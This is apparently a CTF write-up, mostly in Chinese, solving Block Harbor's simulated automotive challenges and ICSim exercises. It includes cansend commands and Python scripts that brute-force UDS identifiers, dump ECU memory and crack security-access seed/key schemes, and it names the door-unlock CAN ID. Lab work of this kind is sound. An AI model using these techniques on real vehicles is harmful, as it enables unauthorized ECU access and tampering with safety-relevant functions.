Block Harbor CyberSecurity CTF

For those looking to sharpen their skills before Season 2, Block Harbor is hosting the Season 1 challenges in the Proving Grounds on our free platform, VSEC, which–alongside these challenges–offers walkthroughs to guide participants through previous tasks. Each week, we will be adding new Proving Grounds content in VSEC Learn, ensuring continuous learning and preparation. Proving Grounds challenges are available now!

So, here I come.

VSEC Garage: UDS Challenge

Simulation VIN

1
2
Retrieve the VIN of the simulation using UDS.
使用 UDS 检索模拟的 VIN。

使用0x22服务来读取VIN

1
2
3
candump vcan0,780:780

cansend vcan0 7df#0322F19000000000 && sleep 0.01 && cansend vcan0 7e0#3000000000000000

Startup Message

1
2
3
4
5
It seems the simulation broadcasts some diagnostic information on arbitration ID 0x7DF when booting up, what does this message say? (in ASCII)
似乎模拟在启动时广播了一些有关仲裁 ID 0x7DF 的诊断信息,这条消息说了什么?(ASCII 格式)

HINT: How can you get an ECU to restart?
提示:如何让 ECU 重新启动?

使用0x11服务来重置ECU

1
cansend vcan0 7df#0211010000000000 && sleep 0.01 && cansend vcan0 7e0#3000000000000000

Engine Trouble?

1
2
3
4
5
The simulation's engine light is on, can you read the diagnostic code?
模拟的发动机灯亮了,你能读出诊断代码吗?

Check out our youtube walkthrough if you get stuck: <https://www.youtube.com/watch?v=IaUL0dA4Z_Y>
如果你遇到问题,请查看我们的 YouTube 演示:<https://www.youtube.com/watch?v=IaUL0dA4Z_Y>

使用0x19服务来读取DTC

1
cansend vcan0 7e0#0319020800000000

接收的是

1
vcan0  7E8   [8]  07 59 02 08 3E 9F 01 AB     

flag为P3E9F-01

Secrets in Memory?

1
2
3
4
5
It seems the simulation allows access to only some off-chip sections of memory, are there any secrets in the visible memory?
看来模拟只允许访问一些片外内存部分,可见内存中有什么秘密吗?

The memory region starts at 0xC3F80000 and the flag is in the format flag{...}.
内存区域从 0xC3F80000 开始,标志的格式为 flag{...}。

flag在该内存的很后面,得写个脚本获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import can
import time
import binascii

bus = can.Bus(interface='socketcan', channel='vcan0')
recvdata = "[DATA]:"

start_addr = 0xC3F83FFF
end_addr = 0xC3F88FFF
step = 0xFF

for hex_value in range(start_addr, end_addr + 1, step):
byte1 = (hex_value >> 24) & 0xFF
byte2 = (hex_value >> 16) & 0xFF
byte3 = (hex_value >> 8) & 0xFF
byte4 = hex_value & 0xFF
candata = [0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]

message = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8, data=candata)
bus.send(message, timeout=0.2)

recv_count = 0
while recv_count < 20:
msg = bus.recv(timeout=0.1)
if msg is not None:
if recv_count == 0:
recvdata += binascii.hexlify(msg.data).decode('utf-8')[6:]
response_msg = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(response_msg, timeout=0.2)
else:
tempdata = binascii.hexlify(msg.data).decode('utf-8')[2:]
if tempdata != "00000000000000":
recvdata += tempdata
recv_count += 1
else:
break

print(recvdata)
bus.shutdown()

得到flag为flag{mem+r34d}

Security Access Level 3

1
2
3
4
5
The simulation is implementing service 0x27 Security Access Level 3 using MAAATH. Can you find the key and break in?
模拟正在使用 MAAATH 实现服务 0x27 安全访问级别 3。您能找到密钥并闯入吗?

The flag is the key to unlock with seed 1337 in hex (example a5a5)
标志是使用十六进制种子 1337 解锁的密钥(例如 a5a5)

将0x1337按位取反即可,得到 0xecc8

Security Access Level 1

1
2
3
4
5
Level 3 provides access to a new diagnostic session and some new memory at 0x1A000, but we still don't have full control of the module. Can you provide a valid key for security access level 1?
级别 3 允许访问新的诊断会话和位于 0x1A000 的一些新内存,但我们仍然无法完全控制该模块。您能否提供安全访问级别 1 的有效密钥?

The flag is the key to unlock with seed 7D0E1A5C in hex (example 12345678)
该标志是使用十六进制种子 7D0E1A5C(例如 12345678)解锁的密钥
  • cansend vcan0 7e0#0210030000000000 通过0x10服务,进入0x03诊断会话
  • cansend vcan0 7e0#0227030000000000 对安全等级为3进行0x27安全访问
  • cansend vcan0 7e0#0427047088000000 通过返回的种子算出key值,发送进行解锁
  • cansend vcan0 7e0#0227010000000000 对安全等级为1进行0x27安全访问

通过0x10服务,进入0x03诊断会话,然后使用0x27服务对安全等级1进行安全访问,最后通过返回的种子算出key值,发送进行解锁

unlock.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import can
import time
import binascii

# 初始化CAN总线
bus = can.Bus(interface='socketcan', channel='vcan0')

# 进入诊断会话
print("Entering diagnostic session...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x10, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
print(f"Diagnostic session response: {binascii.hexlify(msg.data).decode('utf-8')}")

# 安全访问安全等级为3的会话
print("Accessing security level 3...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
seed = binascii.hexlify(msg.data).decode('utf-8')[6:10]
print(f"Seed received: {seed}")

# 计算 key
key = f"{~int(seed, 16) & 0xFFFF:04X}"
print(f"Calculated key: {key}")

# 解锁
print("Unlocking access...")
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x04, 0x27, 0x04, int(key[0:2], 16), int(key[2:4], 16), 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
print(f"Unlock response: {binascii.hexlify(msg.data).decode('utf-8')}")

# 关闭CAN总线
bus.shutdown()

readmemory.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import can
import time
import binascii

bus = can.Bus(interface='socketcan', channel='vcan0')
bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFF, "extended": False}])
recvdata = "[DATA]:"
for hex_value in range(0x1A000, 0x1B000, 0xFF):
byte1 = (hex_value >> 24) & 0xFF
byte2 = (hex_value >> 16) & 0xFF
byte3 = (hex_value >> 8) & 0xFF
byte4 = hex_value & 0xFF
candata=[0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
message = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8, data=[0x02, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
message = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8, data=candata)
bus.send(message, timeout=0.2)
msg = bus.recv()
recvdata += binascii.hexlify(msg.data).decode('utf-8')[6:]
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
temp = 0
while temp < 36:
msg = bus.recv()
tempdata = binascii.hexlify(msg.data).decode('utf-8')[2:]
if tempdata != "00000000000000":
recvdata += tempdata
temp = temp + 1
print("\\n========== READMEM ==========")
print(recvdata)
print("========== READMEM ==========\\n")

bus.shutdown()

收集的数据如下

1
2
3
4
9c79a63d  c9400c2a  D57BCAEE
d57bcaee 804260f9 520B4A57
bd248e58 e81d244f 0AA8ED34
520b4a57 0732e040 EA976E6A

image-20240727212207063

数据异或结果都为0x5539aa17,猜测安全等级1的加密为seed异或0x5539aa17

得到flag为 2837b04b

VSEC Garage: User Space Diagnostics

Read Data By Identifier

1
2
3
4
5
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
这项挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。

Can you identify the data?
您能识别数据吗?

爆破DID

1
2
3
4
5
6
7
8
9
10
11
12
13
import can
import time
import binascii

bus = can.Bus(interface='socketcan', channel='vcan0')

for i in range(0,0xFF):
for j in range(0,0xFF):
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x03, 0x22, i, j, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()

bus.shutdown()

当发到 0008 的时候就正常读取到了信息

1
cansend vcan0 7E0#0322000800000000 && sleep 0.01 && cansend vcan0 7E0#3000000000000000

得到flag为bh{identified_by_what???}

Routine Control

1
2
3
4
5
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
这项挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。

I hear routine control has a lot of fun features.
我听说常规控制有很多有趣的功能。

使用 Routine Control 服务来执行已定义的步骤序列并获取任何相关结果,服务 ID 是 0x31

子功能也比较简单,开始(01)、停止(02)、获取结果(03)

那先试试开始执行吧,简单试了试都是否定响应,估计也得爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import can
import time
import binascii

bus = can.Bus(interface='socketcan', channel='vcan0')
bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFF, "extended": False}])

for i in range(0,0xFF):
for j in range(0,0xFF):
time.sleep(0.01)
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x04, 0x31, 0x01, i, j, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
if result == "037f3131":
pass
else:
print("i: ",hex(i)," j: ",hex(j))

bus.shutdown()

跑了一段时间发现 1337 是响应的,因此先执行 1337 然后再获取结果

1
cansend vcan0 7E0#0431011337000000 && sleep 0.01 && cansend vcan0 7E0#0431031337000000 && sleep 0.01 && cansend vcan0 7E0#3000000000000000

得到flag为bh{c0ntroll1ng_th3_r0ut1nes}

Security Access Level 1

1
2
3
4
5
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
此挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。

I hear single byte XOR keys are a great security measure, can you prove me wrong?
我听说单字节 XOR 密钥是一种很好的安全措施,你能证明我错了吗?

进行安全访问时,会先返回一个随机数,key应该就是对这个随机数的每一个字节进行一个异或,异或的值直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import can
import time
import binascii

bus = can.Bus(interface='socketcan', channel='vcan0')
bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFF, "extended": False}])
for key in range(0,0xFF):
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
time.sleep(1)
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()

result = binascii.hexlify(msg.data).decode('utf-8')
seed = result[6:14]
key1 = int(seed[:2],16) ^ key
key2 = int(seed[2:4],16) ^ key
key3 = int(seed[4:6],16) ^ key
key4 = int(seed[6:8],16) ^ key

message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x02, key1, key2, key3, key4, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
if result == "037f2735":
pass
else:
print("key: ",hex(key))

bus.shutdown()

最后得到key为0x20

写脚本访问成功后,发送流控制帧获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import can
import time
import binascii

bus = can.Bus(interface='socketcan', channel='vcan0')
bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFF, "extended": False}])

message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
seed = result[6:14]
key1 = int(seed[:2],16) ^ 0x20
key2 = int(seed[2:4],16) ^ 0x20
key3 = int(seed[4:6],16) ^ 0x20
key4 = int(seed[6:8],16) ^ 0x20
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x02, key1, key2, key3, key4, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
print(result)
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv(timeout=0.2)
result = binascii.hexlify(msg.data).decode('utf-8')
print(result)
msg = bus.recv(timeout=0.2)
result = binascii.hexlify(msg.data).decode('utf-8')
print(result)
msg = bus.recv(timeout=0.2)
result = binascii.hexlify(msg.data).decode('utf-8')
print(result)
msg = bus.recv(timeout=0.2)
result = binascii.hexlify(msg.data).decode('utf-8')
print(result)
msg = bus.recv(timeout=0.2)
result = binascii.hexlify(msg.data).decode('utf-8')
print(result)
bus.shutdown()

得到flag为 bh{whats_wrong_with_static_keys?}

ICSim

前置

1
Please download <https://github.com/zombieCraig/ICSim> and read the instructions to compile/run. Once setup, set the seed value -s 10000 for both the ./controls and ./icsim. Next Answer the following questions. Use any tool you would like in order to arrive at the answers.

clone下来项目后,先运行ICSim 目录下的setup_vcan.sh脚本:

1
2
3
4
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

modprobe 命令是用来加载内核模块,比如 can 和 vcan 模块,最后两行将创建一个 vcan0 接口以便模拟汽车网络,这些命令可以来设置一个虚拟的 can 接口 vcan0

这个 vcan0 是一个虚拟的 CAN 接口,ICSim 将通过它来发送和接收 CAN 帧。当启动控制面板时,可以观察到车速表有一些波动,这是因为控制面板模拟了噪声

image-20240727212216465

通过设置随机数种子10000来运行builddir文件夹内的 icsimcontrols

1
2
3
./icsim -s 10000 vcan0

./controls -s 10000 vcan0

icsim是模拟的运行仪表盘:用来显示速度表、转向灯、刹车和车门等的情况

controls是模拟的运行控制器:因为虚拟出来的 vcan0 上没有流量,我们就需要用它来模拟接口 vcan0 上的涉及速度表、转向灯、刹车和车门的流量。启动控制面板后,便可以使用键盘来模拟流量。

行为 快捷键
加速
左右转向 ←/→
解锁前左右车门 Right-Shift + A/B
解锁后左右车门 Right-Shift + X/Y
锁定全部车门 Right-Shift + Left-Shift
解锁全部车门 Left-Shift + Right-Shift

Unlock my door

1
2
3
4
What is the arbitration id for door unlocks?
门解锁的仲裁 ID 是什么?

NOTE: Submit in the format 0xARBID

这里主要使用SavvyCAN工具,很多老文章豆说SavvyCAN与ICSim搭配使用,还需要安装qtserialbus,其实新版本已经兼容了

打开SavvyCAN后,打开[Connection]—>[Open Connection Window] —> [Add New Device Connection],选择QT SerialBus Devices(SocketCAN, PeakCAN, etc)选项,然后再选择socketcan,我这个时候就会能看到我们设置好的vcan0

使用Sniffer功能,然后选择None选项,这样可以把噪音屏蔽,然后操作controls进行门解锁操作,就会发现多了一个0x5C6,这个就是新的之前没有被屏蔽的新报文的仲裁ID,也就是门解锁的仲裁ID

image-20240727212226644

或者点击Notch来取消染色,然后操作controls进行门解锁操作也能发现出现了新的报文,并且等一小会后会标红

image-20240727212234867

flag为0x5C6

Speedometer ArbId

1
2
3
4
What is the abritration id for the speedometor display?
车速表显示的仲裁 ID 是什么?

NOTE: Submit in the format 0xARBID

这题思路一样,一直按来加速,就能看到一个data一直增加的报文,那个毫无疑问就是对应的车速表显示,对应的仲裁ID为0x779

image-20240727212243810

flag为0x779